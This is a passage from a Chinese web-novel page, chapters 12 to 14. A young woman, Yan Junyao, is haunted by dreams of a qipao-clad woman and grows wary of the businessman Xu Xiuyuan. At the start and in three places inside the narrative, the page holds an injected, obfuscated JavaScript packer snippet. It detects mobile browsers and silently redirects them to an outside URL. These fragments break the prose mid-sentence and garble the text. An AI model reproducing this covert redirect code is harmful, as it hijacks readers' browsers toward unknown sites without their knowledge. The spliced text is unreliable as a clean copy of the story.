35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942931|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 颜珺瑶慌不迭地收回了视线,点了点头,“没事了,谢谢——许总!” 杨薇看看许修远,又瞅瞅女主,视线在两人身上过了一个来回,更加确认这两人之前肯定就认识了,今天不是第一次见面。 她想了想,于是对颜珺瑶说道,“珺瑶,我先出去给我男朋友回个电话啊!” 而后她又指着病床边的凳子对许修远道:“许总,你坐这儿吧!” 颜珺瑶下意识地回了声好,目送着学姐出了病房,可等到病房里只剩下自己和那个站在病床尾的男人时,她的心又忍不住恐慌了起来,随之而来的还有烦躁,无法克制的烦躁。 突地,她想起一件事,刚才在酒店吃饭的时候,学姐不是说过自己没有男朋友的吗? 她抬眸看向许修远,对上他带着温和笑意的双眼。 是这个男人要跟自己说什么? 算了,既来之则安之,躲不过就只能面对。 虽然她不想和这个男人有所接触,但她还是好奇事情的真相。 她清了清嗓子,“许总——” 她顿住,却不知道接下来该说什么。 许修远淡淡地笑了笑,“颜小姐,我们——见过吗?” 他没有坐下,就站在病床尾看着颜珺瑶,脸上的神情不明。 这话一出,颜珺瑶的脸色瞬间又白了两分。 所以那两个晚上,不仅是自己看到他,他同样也看到她了?! 颜珺瑶忍不住咽了咽口水,迅速摇了摇头,大概是因为太用力,太着急了,脑子里似乎裂开般的疼痛。 她下意识地揉了揉太阳穴,眼睫颤动,并不看许修远,“没见过,今天之前我没见过许总——” 病房里安静了两秒,许修远继续说道:“我觉得颜小姐有些眼熟。” 颜珺瑶拽紧了被子,脑子乱的很,几乎是一团浆糊,这两个月来发生的这许多奇奇怪怪的事情又在脑子里跳了出来。 她又咽了咽口水,余光瞥见床头柜上刚才学姐给自己倒的水,端起水杯猛地喝了一大口,已经凉了。 深吸了口气,开口问许修远,声音几乎有些发颤。 “许总之前——难道见过我吗?” 这个问题要是放在其他的男女身上,也许会让人遐想出一丝旖旎的味道,但许修远和颜珺瑶之间却丝毫没有,有的只是互相之间的试探与怀疑。 许修远又笑了,边点头边说道:“说实话,我确实见过和颜小姐长相相似的人。” 颜珺瑶的嘴角不受控制地抽了抽,不自在地将被子往上拉了拉,“哦”了一声之后却没有了下文。 许修远不经意地瞥了一眼吊瓶,还剩大半瓶。 “医生刚才说,颜小姐可能是受到了惊吓。” 颜珺瑶闭了闭眼睛,费力地深吸了一口气,顷刻间就回忆起陷入昏迷前的那种痛苦无助却又无法自控的窒息感。 自己是受到惊吓所以导致窒息吗? 这——可能吗? 但受到惊吓却是实实在在的。 在看到活生生的许修远的第一眼,那两个晚上的惊恐如潮水般涌来。 她抬眸瞥了一眼许修远,又迅速敛眸,发现对方正定定地看着她。 他在等着自己的答案。 “我——”她真的不知道该怎么回答。 “颜小姐在见到我之前,看到了什么或是发生了什么?” “我——我只是在打电话而已。”颜珺瑶侧头看了一眼床头柜上的手机,还好,没有碎屏。 许修远的视线跟着落在床头柜上,很快又移开,“所以,是我吓到了颜小姐?” 12. 第 12 章 颜珺瑶没有回答,许修远也没有再问。 病房里再次安静了下来,两人都不说话。 颜珺瑶心头的烦躁越发强烈,不想看到面前的这个男人,但偏偏这个人看不出来有要离开的意思。 她想了想,蓦地开口说道:“某总,今天谢谢您的帮忙,医药费回头我会还给您的。” 许修远弯了弯唇角,凝视了颜珺瑶片刻,点了点头。 “可以。那加个微信,方便联系。” “……”颜珺瑶觉得许修远可能是误会了。 她的意思就真的只是要还钱,字面意思,字面意思,并不是想要他的联系方式。 她不想跟他再有任何联系。 颜珺瑶动了动唇,却没有拒绝,只好拿出手机加了这位大Boss的微信。 不管如何,钱还是要还的。 许修远收起手机,“颜小姐好好休息,我就不打扰了。” “今天——多谢许总了!” 许修远笑着看了她一眼,没说什么,抬步离开了病房。 颜珺瑶看出,他的笑意不达眼底,只是出于自身的修养而保持的礼貌。 他在怀疑她。 不巧,她也觉得他非常有古怪。 * 许修远前脚刚走,杨薇后脚就进来了,手上还提着一份皮蛋瘦肉粥,是特意给颜珺瑶买的夜宵。 “饿了吗?今晚聚会看你也没怎么吃呢!” “……”其实今晚她吃得不少。 颜珺瑶不好拒绝,对着学姐笑着说道:“今晚太麻烦学姐了,耽误到这么晚了,学姐赶紧回去休息吧!” 杨薇并不着急着走,瞥了一眼床头柜上那个被捏瘪的纸杯,重新取了一个纸杯倒了一杯温水,坐到了病床边,“喝口水。” “谢谢学姐——” 颜珺瑶抿了抿唇,接过来猛喝了一大口,心头的烦躁还是无法完全平复。 她看了一眼学姐,猜到对方应该是有问题要问她的。 果然,很快杨薇就开口了。 “珺瑶,你以前——和许总认识吗?” 不怪她多想,实在是今天许修远的行为方式不太符合她平日里认识的那个许总。 许总看颜珺瑶的态度,没有丝毫暧昧,不像是对颜珺瑶一见钟情,更不像对待前女友的感觉,就是很奇怪,像是—— 像是在探究,在怀疑。 要说这两人之前没关系,打死她都是不相信的。自己要是真的相信了,那她真的是白活这么多年了。 可这两人现在这样子,到底怎么回事? 闻言,颜珺瑶并不惊讶,摇了摇头,“不认识。” 顿了顿,忍不住又问道:“他就是之前出车祸那位老许总的儿子?” 杨薇微不可察地挑了一下眉,颜珺瑶在转移话题。 算了,她不想说实话,自己也不能逼她。自己现在就在许总身边工作,要是两人继续有来往,自己还能不知道? 且等着,总会知道的。 “是啊!他是我们老许总的儿子,也是我们老许董的孙子,许家唯一的继承人。” 唯一。 颜珺瑶脑子里冒出了那个穿鹅黄色小旗袍的小女孩,以及贴吧网友的那条留言。 出事的征兆。 许修远的父亲出车祸,她无意中目睹,看到了一个似乎只有她能看到的孩子。 现在她又和许修远貌似有了点牵扯—— 自己要不要提醒他呢? 颜珺瑶揉了揉太阳穴,觉得自己好像有点想多了。 且不说那两个晚上的奇怪经历到底是不是什么出事的征兆,即使真的是,自己突然跑到许修远面前说,哎,你可得小心点,很可能会出事啊! 对方大概会把她当做疯子吧! 别到时候是她自作多情,那就尴尬了。 可——要是万一呢? 人命关天啊! 杨薇又和颜珺瑶说了会儿话,看出颜珺瑶确实没什么大碍,连家里人都没通知,便起身回家。离开前,又嘱咐颜珺瑶好好休息,有什么事情就给她打电话,明天早上再过来看她。 颜珺瑶笑着道:“学姐,我已经没事了,要不是医生一定要我观察一晚上,其实我现在就可以回家的,你明天不用过来看我了,太麻烦了,我自己没问题的。 杨薇也没再客套,离开了医院。 * 这是间单人病房,等到学姐一离开,病房里就只有颜珺瑶一个人,安静的可怕。 她回想着自己今天晚上发生的一切,仍会寒毛直竖,心跳不稳。 现在看来,瑜欣姐送她的那个水晶摆件现在应该就在许修远手上。 太过诡异了。 更恐怖的是,她觉得自己有时候好像不是她自己了。 总有一种无法控制自己的感觉。 莫名其妙的烦躁,怨恨,尤其是在见到许修远的时候。 还有那种被勒颈掐脖般的痛苦,之前在目睹车祸的那个傍晚也曾有过,自己记忆犹新,但今晚的痛苦远胜于那天。 颜珺瑶不解,之前自己因为一直发烧,做过十分全面的体检,甚至检查过自己有没有哮喘,结果都显示自己身体很健康。 为什么又突然出现这种情况了呢?而且还这么严重。 颜珺瑶在病床上辗转反侧地难眠,但毕竟是受了不小的惊吓,大概到了凌晨,身体开始疲劳,迷迷糊糊地睡过去了。 又出现了。 她又出现了。 那个穿着旗袍的女人再次在朦胧中现身,仍是那身尽显曲线的旗袍,同一张既熟悉又陌生的脸,微微启唇,缱绻无限地喊着同一个名字。 “君平。” 颜珺瑶猛地惊醒过来,眼前大亮,是她刚才忘记关灯了。 她擦了擦额头上渗着的细密汗珠,回想着刚才梦中的那个旗袍美人。 怎么又梦到她了?她到底是谁?那个君平又是谁呢? 如果第一次算是噩梦,那现在已经是第二次了。颜珺瑶几乎肯定,这个旗袍美人一定是想让她帮忙完成什么心愿的。 可就只有两个字,一个名字,再没有其他任何信息,她就算想帮,也爱莫能助啊! 你倒是多给点提示啊! 至于她身上的那件旗袍,她的心头突然涌现一股莫名的感觉。 它的款式和绣花如烙印一般记在了脑海里,只恨现在手边没有纸笔,否则真的想立即把它付诸于纸上。 多么漂亮的衣服啊! 她真的好喜欢呀! * 不知不觉又睡了过去。 次日一大早就被病房外的动静吵醒了,颜珺瑶睁开眼睛的那一刻,整个人是恍惚的。 下一秒,她反应过来,自己这是又在医院过夜了。 真倒霉。 虽然医生表示可以出院了,但颜珺瑶还是不放心地又做了呼吸系统的检查,结果确实是没有哮喘病。 真是——让她不知道说什么好了。 她甚至疑心,自己是不是得了什么罕见病,要不然怎么会查不出来呢? 办理出院手续的时候,一看医药费,颜珺瑶感觉自己的心在滴血,我滴个天啦,真的是好心疼啊! 虽然可以报销,但花出去的也不少,她的钱包啊! 这两个月,自己光是进进出出医院,做各种检查就花了不老少的钱,可也没查出个究竟来。 重重地叹了口气,认命地拿出手机,找到许修远的微信,把医药费转了过去,并留言再次表示感谢。 还有更倒霉的。 回到住处,才睡了个午觉起来,颜珺瑶悲催地发现,自己又发烧了。 实在没辙,只好又去了医院。 鉴于之前的经验,颜珺瑶选择了打点滴。 刚从医院出来,这一天都还没过去,不到半天又来了,实在是太过令人咬牙切齿。 大概是白天睡多了,颜珺瑶坐在靠墙的椅子上百无聊赖,突然想到什么,打开微信,发现都快一天了,许修远居然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942932|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有接收自己的转账。 是忙得没时间看手机,还是故意不收? 哎,他要是一直不收的话,二十四小时之后就会被退回,自己还得转。 想想都觉得麻烦。 她有一种直觉,许修远是故意不收的。 他在等着自己先主动联系他。 “……” 要真是如此的话,她真的很想打人。 她真的是不想和许修远再有什么牵连,总感觉自己这倒霉催的劲儿,貌似就是从目睹了那场车祸开始。 目睹他父亲的车祸,自己进了医院;那两个晚上令人毛骨悚然的经历,她想起来都心悸;昨天一见到他,自己居然又进了医院。 自己大概是和许家犯冲吧?! 算命的那位老先生说自己命格好,而且会遇上贵人,也不知道什么时候能碰上这个贵人? 这个贵人是不是就是帮自己化解这个麻烦的呢? 不管贵人什么时候出现,颜珺瑶都要先努力解决眼下的麻烦。 自己想拿回那个水晶摆件。 那是她大三的时候参加比赛得奖,瑜欣姐特意去订做的,对她而言十分珍贵。 颜珺瑶不由自主地坐直了身体,又想点进去那个寻找失主的帖子,发现帖子居然被删除了。 心头一个咯噔,看来自己的水晶摆件真的是在许修远那里。 因为他找到了她,所以就没必要让助理满世界的找人。 那他,这么大费周章地找自己,不可能只是想把水晶摆件还给自己吧? 否则昨天怎么一句都没提呢? 怀揣着最后一丝丝侥幸的心理,颜珺瑶又拨通了那个“隔夜蒜薹炒肉”的电话。 帖子虽然删除了,但幸好昨晚自己给他打过电话,手机里有通话记录。 嘟声响了很久才接通,颜珺瑶一开始还担心会被转接到学姐那里,但那一头说话的确实是昨晚接电话的那个男人。 “你好,请问是哪位?” 颜珺瑶轻咳了一声,“你好,不好意思打扰了,我昨晚给你打过电话,就是想问问那个水晶摆件。” 电话那头的人似乎认出了女主的声音,笑着说道:“哦,是颜小姐啊!” 颜珺瑶愣了愣,突然觉得哪里好像不对劲,但一时没想出来,继续说道:“请问那个水晶摆件的底座是不是刻着英文名Alice,以及时间2021.06.30呢?” 电话那头的男人笑着承认,“是的,颜小姐说的很对。” 颜珺瑶松了口气,笑了笑,“您捡到的这个摆件应该是我弄丢的——” 电话那头知道她的意思,于是接着她的话说道:“其实东西是我们许总捡到的,他说他已经找到了失主,东西现在也在他那里。” 最后一点希望都破灭了,所以自己想要拿回那个摆件,还是要和许修远联系。 他到底想做什么? 昨晚在病房里,他一直在试探她,也许一开始还不能确定,但最后他得到了答案,所以才主动加了微信。 他之所以没有提到那个水晶摆件,是觉得自己会为了那个摆件主动联系他的吗? 颜珺瑶憋着一口气,烦死了。 真的是被这个男人算准了。 蓦地,她意识到什么,对了,刚才电话里的那个男人直接喊了自己颜小姐。 他怎么知道自己姓颜的呢? 明明昨天自己和他联系的时候,根本就没有说过? 所以是许修远知道了她是谁,并且告诉了他的助理。 说不定接下去许修远还会让助理去调查她呢,如果真是这样—— 颜珺瑶光是想想,就觉得快要气死了! 不,她觉得许修远一定会调查她。 那两个晚上,不仅自己看到了许修远,许修远也看到了她。 所以他怀疑她,试探她,也许现在他心里,她或许是妖魔鬼怪?借尸还魂? 总之不是正常人。 当然,她就是这么怀疑他的。 13. 第 13 章 挂完点滴回到住处,颜珺瑶接到母亲的电话,嘱咐她别忘了明天晚上回家吃饭。 上一次休息的时候,她因为忙着调查所谓的“睡衣男鬼”的事情,所以没敢回去,怕爸妈发现什么端倪,便找了借口说是和朋友出去玩。 于是就随口说了一天,但爸妈一直记着。 第二天醒来体温正常,但还是有些精神不济,可她昨天已经请假了一天,而且听主任那语气,虽然没有明说,但似乎有些不满。 这不怪主任,清明节之前她一气儿请了那么久的病假,这次又是,她不好意思再请了。 万幸工作了一天下来,没再出现体温反复的情况。傍晚从电视台回到家里,和爸妈吃了饭之后,就直接躺到了沙发上,不知不觉就眯着了。 钱艺文见她饭后犯困,就让她回屋里睡。 颜珺瑶迷迷糊糊地,但还清楚记得那两个晚上的可怕经历,即使知道对方是个活人,心头总像是有云雾未散。 “我就在这眯一会儿。” 就听母亲唠叨了一句什么,没听清,但紧接着她就察觉到自己身上盖上了被子。 * 颜珺瑶以为这一次的发烧应该就是受惊过度导致的,但没想到接下来的一周,自己再次经历了两个月之前的那种反复。 还好这次都是低烧,没有上次那么厉害,也没有持续很长时间,偶尔实在觉得难受,退烧药足以应付,但也不敢多吃。 多亏了她本身体质不错,没觉得太难受,工作方面还能应付的来。 她一直没请假也不敢请。 要是又像之前那样请那么久的假,主任估计得原地爆炸,她也不好意思提。 不过身边的同事还是发现她不太对劲。 中午吃过午饭,张熙杰见她有气无力地趴在桌子上,便问她是不是又不舒服了,颜珺瑶摇摇头说没事。 张熙杰不放心,想要探一探她的额头,但颜珺瑶似乎猜到了他会这么做,一把就抓住了张熙杰的手腕,笑呵呵道:“我没事,就是有点困。” 她不想让张熙杰知道自己的情况,否则师傅也会知道,肯定又会让自己请假回去。 自己虽然在单位不算新人,但这两个月请假真的太多了,再请下去,肯定会招人闲话,说她娇气躲懒之类的。 虽然妈妈对自己的这份工作不太满意,劝她改行,但她还是很喜欢,并不想失去。 * 终于又熬到了休息时间。 颜珺瑶在家里闷头睡了一整天,发了汗,感觉好了不少,精神头也足了,而且已经有两天没再发烧,她有些小窃喜,打算第二天回家去。 但心头还是一直吊着件事。 水晶摆件还在许修远那里。 这段时间她给许修远转了几次钱,但对方都没接收,所以他就是故意的。 她想过要不要通过学姐把钱还给许修远,但一想又觉得不妥。 她正琢磨着,如果主动联系许修远提出见面,当面把话说开,对方会相信吗? 但心底抹不掉的恐惧,让她一直下不定决心。 一大早,颜珺瑶正刷着牙,吴以晴突然打来了电话。 说是她未婚夫今天有事,不能陪她去试穿婚纱,问她有没有时间。 颜珺瑶只好给爸妈去了电话,说是计划有变。因为吴以晴是她的高中同桌,爸妈也认识她,自然没说什么,但还是忍不住唠叨了她两句。 “你看看你,人家和你一边大,现在都准备要结婚了,你连个男朋友都还没谈过。” 颜珺瑶就知道妈妈会这么说她,也不在意,笑嘻嘻地应付了过去。 * 到了婚纱店,吴以晴试穿了之前定做的婚纱,发现还是有些紧,就有些急了。 “别人准备婚礼都是变瘦,我怎么还变胖了?” 紧接着又抱怨自己吃的太多,决心婚礼之前要减减肥,减出好身材。 婚纱店店员笑着道:“您的身材还是非常棒的,凹凸有致,曲线玲珑。” “跟她一比,我还差点意思——” 吴以晴指着颜珺瑶,而后佯装恼怒道:“到时候婚礼上,你这个伴娘怕是要抢了我的风头。我决定了,你的那件礼服我要改成大一号,不让你秀身材了。” 颜珺瑶抿着嘴笑起来,一旁的店员也被逗乐了。 吴以晴忍不住戳了戳她的腰,不无羡慕地说道:“你说说你,你们家到底是什么基因,就没见你怎么胖过,脂肪都长在了该长的地方,这身材真的是羡慕死我了。” “因为我每天步数多!” 站在边上的店员趁机说道:“这位女士要不要也试一试,我们店里新进的一套婚纱特别适合您穿。” 颜珺瑶婉拒,“谢谢,等我准备结婚的时候会考虑来您这里的。” “少说大话——”吴以晴晲了她一眼,“还没对象呢,跟谁结婚去!” 说着又想起了什么,搭上她的肩膀,继续说道:“我老公叫的那几个伴郎有两个长得很帅,到时候介绍给你啊!” 颜珺瑶没搭理她,转了一圈仔细打量了吴以晴,由衷地赞美道,“真的好漂亮!” 吴以晴笑眯眯的,一双大眼睛都快眯成一条缝了。 出了婚纱店,两人简单地吃了个午餐,吴以晴没敢吃饱,因为下午还要试穿敬酒的旗袍。 颜珺瑶见她不吃,也不好多吃,免得让她难受。 旗袍店不在市中心的商场,而是在一栋居民楼的一层,两人下车之后步行走了十几分钟才到。 小区很旧,店铺老板是个五十岁上下的中年男人,店面也谈不上什么装修,看起来就像是影视剧里旧时代的裁缝铺。 吴以晴的旗袍是半个月前定做的,试穿上身,十分合适,不停地转着身对着镜子瞧,还让颜珺瑶帮她从不同角度拍了照。 效果很不错,吴以晴满意地不行。 拍完照,颜珺瑶突然被靠墙的一排旗袍吸引了注意力。 各种颜色,不同面料,长短不一,令人目不暇接。 可以想见,这些衣服穿在身上是多么的有韵味。 颜珺瑶不由自主地走了过去,从上面取下来一件香槟色的旗袍。 蓦地,手中的这件突然就和她在梦中看到的那件旗袍重合在一起。 虽然手上的这件从用料到做工,无一处不精细,但细看之下,这两件还是有不小的差别。 而她打心底里更喜欢自己梦中看到的那一件,莫名觉得那一件更胜一筹。 从款式来看,手上这件应该是经过了一定的改良,融入了现代的元素,显得更时尚一些;而梦里看到的那件,大概因为是上身,所以显得更加生动,韵味十足,当得上端庄雅致四个字。 老师傅见状,“姑娘,想做件旗袍吗?你很适合穿旗袍的。” 颜珺瑶愣了一下,适不适合是一回事,主要是真的做了旗袍,也没什么场合可以穿,大部分时候只能用来压箱底。 太浪费了。 吴以晴也劝道:“要不你试试吧?衣服穿身上才能看出效果的。” 颜珺瑶将旗袍放回原处,不了。 如果一定要穿的话,她想试试梦里的那件。 * 回到家里,颜珺瑶的脑子里时不时就会闪现那件旗袍。 那件她梦到过两次的旗袍。 无法控制。 大概是日有所思,夜有所梦,当晚,她再次梦到了那个和她长相相似的女人。 她还是穿着那件旗袍,口中依旧叫着那两个字。 君平。 颜珺瑶呆愣愣地看着她,良久之后突然想起什么,着急起来,想要张口说话,问她到底想要自己帮她做什么,为什么不直接告诉她。 可她却又成了哑巴,一个字也说不出来。 情急之下,她喊了出来,下一秒,她猛地睁开了眼睛。 喘息未定,她急忙开了灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942933|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一看手机,凌晨十二点多了。 起身下床,直接坐到了桌子前,情不自禁地从书架里抽出一个素描本,往后翻到中间一页。 但纸上却不是空白。 虽然只是打了粗稿,画了个大致轮廓,但还是一眼就能看出来,执笔之人应该是在画旗袍。 她愣了下,想不起来自己究竟什么时候动过笔了。 不过她没心思琢磨,因为她今晚终于把梦里旗袍的细节给看清了,拿起铅笔,慢慢将笔尖按到了纸上,刷刷刷地画了起来。 旗袍是双层错落荷叶袖,V型立领,每一层的袖边都嵌着一圈珍珠。 不仅如此,从领口的第一个袖口下方开始,沿着两边胸部的隆起至侧边的一条弧线上也缝上了珍珠,颗颗珍珠圆润饱满,珠色柔和。旗袍的面料应该是极好的,上面有着淡淡的雏菊花纹,梦中还是看不清到底是印染的,还是绣上去的。 旗袍十分修身,线条流畅,曼妙身姿尽显无疑。双层荷叶袖的设计,很显年轻,增添了活泼灵动之感,而且梦里的女人看起来就很年轻。 梦中的女人确实是个美人,虽然她自认为自己和她有六七分相似,但对方无疑比自己美,尤其是在这一身旗袍的映衬下,明媚动人与端庄温婉集于一身,竟丝毫没有任何违和感。 若是现实生活中碰上,实在让人难以不多看上一眼。 不知画了多久,颜珺瑶终于放下了笔,看了纸上的作品好一会儿,露出一个满意的笑容。 画成了。 小心翼翼地撕下来,又拿了一个文件夹放好,这才觉得稳当。 瞥了一眼放在床头柜上的手机,犹豫了两秒,过去拿了手机,拨通了张熙杰的电话。 没响几声,张熙杰就接起来了。他很明显是已经睡着了,但被这通电话给吵醒了。 一听到手机铃声响起,他条件反应地就从床上坐了起来,语气急促。 “喂,珺瑶,地点在哪里——” 说着就下了床,准备换衣服,哪知电话那头的颜珺瑶却不慌不忙,一点都不着急的样子。 她柔柔地笑了笑,“我在家里啊——” “我天,你吓死我得了——” 张熙杰松了一口气,他还以为是凌晨突发什么事件,通知他到场呢! “怎么这么晚还不睡——这都——我看看,两点了都。” 颜珺瑶无视他的问题,不答反问:“你前两年是不是做过关于旗袍文化的专栏内容?” 张熙杰突然觉得她似乎和平时不太一样,对,就是说话的感觉,像是拿捏着腔调,特别的——柔媚。 他清了清嗓子,让自己不要多想,回道:“是啊,挺久的了,那会儿你还没毕业呢,怎么突然问起这个?” “那你能帮我找几个做旗袍的老师傅吗?最好是家传的手艺。” 张熙杰笑道:“当然可以,我们市好手艺的老师傅我之前大部分都采访过,还都记得,你怎么突然想做旗袍呢?” “因为喜欢啊!”颜珺瑶低低地笑了,“有姓何的老师傅吗?” 张熙杰想了想,真想起来一个,有些吃惊:“还真有一个姓何的老师傅,几十年的家传手艺。 你听说过他?” 颜珺瑶莞尔一笑,兀自说道:“那就好。” 挂了电话,张熙杰冷不丁地打了个寒颤。 他忍不住又看了一遍自己刚才的通话记录,是颜珺瑶的名字。 刚才自己听到的也是她的声音,可怎么自己就是感觉不是她呢? * 第二天早上到了单位,颜珺瑶发现张熙杰一进来,就看向她,而且眼神奇奇怪怪怪怪的,像是不认识她似的。 她忍不住拿出手机看了看,脸上很干净啊! 等到张熙杰经过她的位置时,她拽住他,直接问了:“你——咋了?” 张熙杰的眼神在她脸上逡巡了一回,“你——你怎么突然想穿旗袍了?” 14. 第 14 章 颜珺瑶笑起来:“昨天陪以晴去试礼服,觉得旗袍真的很好看,所以就想穿啊!” 原来是这样。 那怎么大半夜地给他打电话呢? 他不是介意,只是他了解颜珺瑶,她不可能会因为这么一点事就大晚上地打扰别人,完全等到第二天再问也不迟。 可她居然迫不及待地选择凌晨两点打电话,而且说话腔调还——还变得很是妩媚。 这不像她。 张熙杰点了点头,“你高中同桌结婚了?” 颜珺瑶嗯了一声,“我也很意外啊,没想到她这么早就结婚,大学时她还囔囔着打死都不结呢!” “你明天下班后有没有安排,要是没事,我就带你去找那位姓何的老师傅。” “?”颜珺瑶愣了愣,“姓何的老师傅?” 哎——等下,熙杰怎么知道自己想穿旗袍的?自己也没告诉他啊! “不是你说的要找姓何的老师傅吗?” 颜珺瑶有些恍然,自己说的吗?什么时候说的啊?她居然有点想不起来了。 张熙杰打开手机,点开通话记录给她看。 颜珺瑶眨了眨眼,自己还真的大半夜地给他打了电话,就为了定做旗袍? 魔怔了吗?好奇怪。 她讪讪一笑:“昨晚是不是把你吵醒了?” 张熙杰仿佛没听到她说的话,而是问道:“你——怎么会知道这位姓何的老师傅呢?” 既然她知道有这么个人,又为什么特意再问他呢? 颜珺瑶微微蹙眉,思索片刻,脑子里是有这么个称呼,但怎么知道的? 当真是一点印象都没有。 她有些怀疑,是不是这段时间三不五时的发烧,把自己的脑子给烧坏了。 “可能是听别人或者你之前跟我说过,我不记得了。” 张熙杰觉得真有这种可能,稍稍放了心,又忍不住多了句嘴,“你——有没有哪里不舒服?” “没事啊,好着呢!” 颜珺瑶最近对他说的最多的就是“没事”这两个字,张熙杰也知道她主意正,要是不想告诉别人,就一定不会说出来,也就不再问了。 * 气温慢慢地爬升,白昼越发长了。 下班时,颜珺瑶坐进张熙杰的车子,望着外面的天色,还算亮堂。 车子进入主路,听着车里的舒缓音乐,她开始昏昏欲睡。 不知道开了多久,颜珺瑶一个激灵醒了过来,发现是在等红灯。 张熙杰侧头看了她一眼,“今天跑了一天,中午都没休息,你继续睡吧,到了地方我叫你。” “不——”颜珺瑶悠悠地开口了。 “嗯?怎么——” “我想先回去一趟,换身衣服。” 张熙杰不禁仔细打量了一下她,今天她穿的这套衣服就很好看,趁着肤色白里透红,整个人很是高挑,见人也合适。 不过,想换就回去换吧,反正也不算绕路,时间上也来得及。 等到红灯结束,车子重新出发,到了下一个路口向右拐弯,不再直行。 到了租住的小区楼下,颜珺瑶下了车,不慌不忙地往里走去。 进了门,直奔卧室的衣柜,打开衣柜就翻找了起来。 好一会儿,她突然一怔,瞬间起了一身的鸡皮疙瘩。 她——她刚才居然在自己的衣柜里找起了旗袍。 莫不是疯了? 她的衣柜里哪里有什么旗袍? 颜珺瑶拍了拍脸,觉得似乎清醒了一些,选了条连衣裙出来,脑子里又突然闪过一个疑问。 自己这是要去哪里? 哦,对,对,熙杰在楼下等着自己呢,说是去—— 对,去做旗袍。 收拾妥当,刚走到客厅,她又想起什么,返回了卧室,在书桌上找到了一个文件夹,放入包里。 * 张熙杰下了车,站在车子边上,一边刷手机一边等着。 余光突然瞥见一个熟悉的身影,他抬头一看,眼前一亮,一瞬不瞬地看着她。 颜珺瑶款款地走到他面前,莞尔一笑,明眸皓齿,眼波流转,柔媚动人,让人挪不开眼。 张熙杰莫名地有些脸红,不自在地偏开了视线。 她今天真是格外的漂亮,一件粉色修身的小礼裙,妆容精致,性感又妩媚。 “上——上车吧!” 虽然从小和颜珺瑶一起长大,一直都知道她长得漂亮,但她平日里都是淡妆示人,像今天这么精致的打扮,还是第一次见。 车子上路,张熙杰发现颜珺瑶今天特别安静,有些不自在,向来他们两个在一起的时候都非常自然,话特别多。 他轻咳一声,打破了车里的沉寂,“怎么——不说话?想什么呢?” 颜珺瑶长长舒出一口气,先是笑了笑,又看了眼张熙杰,“说什么呢?要不——你先说?” “这条裙子第一次见你穿,很适合你。” 颜珺瑶低头看了一眼身上的小礼裙,愣了许久,才说道:“去年我外公外婆带我去参加婚礼时,特意买的,某宝上淘的。” 张熙杰笑起来,“那今天就去好好定做两身旗袍,你一定很适合穿旗袍。” 颜珺瑶笑了笑,之前吴以晴说她适合穿旗袍,今天张熙杰也这么说,其实她长这么大,还没穿过旗袍。 她不说话,望向车窗外,车马喧嚣,霓虹闪烁。 天色开始暗了下来。 * 许修远通过几张老照片,打听到了何老师傅这里。 何老师傅的父亲和许修远的太爷爷曾经是好友,当年许修远的太爷爷曾资助何老师傅的父亲开了一家名为鸿锦时装公司的旗袍店。 何老师傅的父亲在开店前是一家裁缝铺的学徒,学成出徒却一直没有足够的资金能自己开店。机缘巧合之下,何老师傅的父亲结识了许修远的太爷爷,许修远的太爷爷惜才,所以才有了这家店。 家里的旧相册里有几张太爷爷和一位年轻男人的合影,应该就是鸿锦时装公司开业那天拍的,有在店门口拍的,也有在店里拍的,场景都十分热闹。 现在这家店传到了何老师傅手上,但时过境迁,穿旗袍的人也越来越少了,这家店已经不复往日的红火,店名也改为鸿锦阁了。 何老师傅自然是了解这些事情的,也一直都很感激许家人。不过许家人已经许多年没过来定做过旗袍,两家人算是已经没了来往。但今天—— 许修远突然上门拜访并定做旗袍,这令他着实吃了一惊。 他还记得,许修远的太奶奶和奶奶还在世的时候,就曾定做过不少的旗袍,父亲每次都是亲自上门去服务,他也跟着去过几次。 他直觉,这次许家这位年轻人的目的,不应该只是要定做旗袍这么简单。因为许修远心中有成衣,他一定是见过了某件旗袍,所以才向他描述了他要定做的旗袍的款式,并且问他店里有没有设计过类似的旗袍。 这就有点难为他了,从父亲开店到现在,已经好几十年了,设计过不少的款式,他一时还真想不起来。 何老师傅在自己店里的样衣里翻找到一件基本符合许修远描述的旗袍,但许修远看了之后,只说有点类似,却并不是。 “应该是老款式,几十年前的设计。” 原来如此。 何老师傅找出了一本老旧的样式图册,许修远一张张翻看,真的在里面找到了一张和自己看到的那件旗袍几乎一样的设计图。 何老师傅笑着说:“这定做旗袍需要尺寸,不知道你是要给谁做的?” 这本图册里的设计图都是父亲当年亲手画的,随着时代的变化,款式设计也推陈出新,现在他已经很少会用到这本图册了。 许修远选的这一款是适合年轻女人穿的,这还是父亲当初根据民国时的传统旗袍改良的,在当时算的上是十分时髦,即使放到现在也是非常漂亮,但还是要看穿的人能不能把这件衣服撑起来。 